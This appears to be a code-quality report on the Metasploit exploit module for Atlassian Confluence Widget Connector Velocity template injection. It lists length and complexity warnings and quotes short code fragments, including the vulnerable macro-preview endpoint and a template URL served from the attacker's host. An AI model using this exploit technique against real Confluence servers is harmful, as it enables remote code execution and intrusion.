rapid7/metasploit-framework

View on GitHub
modules/exploits/multi/http/confluence_widget_connector.rb

Summary

Maintainability
C
1 day
Test Coverage

File confluence_widget_connector.rb has 319 lines of code (exceeds 250 allowed). Consider refactoring.
Open

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
Severity: Minor
Found in modules/exploits/multi/http/confluence_widget_connector.rb - About 3 hrs to fix

    Class MetasploitModule has 24 methods (exceeds 20 allowed). Consider refactoring.
    Open

    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
    Severity: Minor
    Found in modules/exploits/multi/http/confluence_widget_connector.rb - About 2 hrs to fix

      Method initialize has 57 lines of code (exceeds 25 allowed). Consider refactoring.
      Open

        def initialize(info = {})
          super(
            update_info(
              info,
              'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection',
      Severity: Major
      Found in modules/exploits/multi/http/confluence_widget_connector.rb - About 2 hrs to fix

        Method inject_template has 34 lines of code (exceeds 25 allowed). Consider refactoring.
        Open

          def inject_template(service_url, timeout = 20)
            uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
        
            res = send_request_cgi({
              'method' => 'POST',
        Severity: Minor
        Found in modules/exploits/multi/http/confluence_widget_connector.rb - About 1 hr to fix

          Method exploit_as_java has 26 lines of code (exceeds 25 allowed). Consider refactoring.
          Open

            def exploit_as_java
              res_code, tmp_path = get_tmp_path
          
              unless res_code == 0
                fail_with(Failure::Unknown, 'Unable to get the temp path.')
          Severity: Minor
          Found in modules/exploits/multi/http/confluence_widget_connector.rb - About 1 hr to fix

            Method get_java_property has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.
            Open

              def get_java_property(prop)
                @prop = prop
                res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
                if res && res.body
                  if res.body.empty?
            Severity: Minor
            Found in modules/exploits/multi/http/confluence_widget_connector.rb - About 55 mins to fix

            Cognitive Complexity

            Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

            A method's cognitive complexity is based on a few simple rules:

            • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
            • Code is considered more complex for each "break in the linear flow of the code"
            • Code is considered more complex when "flow breaking structures are nested"

            Further reading

            Method inject_template has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.
            Open

              def inject_template(service_url, timeout = 20)
                uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
            
                res = send_request_cgi({
                  'method' => 'POST',
            Severity: Minor
            Found in modules/exploits/multi/http/confluence_widget_connector.rb - About 35 mins to fix

            Cognitive Complexity

            Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

            A method's cognitive complexity is based on a few simple rules:

            • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
            • Code is considered more complex for each "break in the linear flow of the code"
            • Code is considered more complex when "flow breaking structures are nested"

            Further reading

            Method exploit_as_java has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.
            Open

              def exploit_as_java
                res_code, tmp_path = get_tmp_path
            
                unless res_code == 0
                  fail_with(Failure::Unknown, 'Unable to get the temp path.')
            Severity: Minor
            Found in modules/exploits/multi/http/confluence_widget_connector.rb - About 25 mins to fix

            Cognitive Complexity

            Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

            A method's cognitive complexity is based on a few simple rules:

            • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
            • Code is considered more complex for each "break in the linear flow of the code"
            • Code is considered more complex when "flow breaking structures are nested"

            Further reading

            There are no issues that match your filters.

            Category
            Status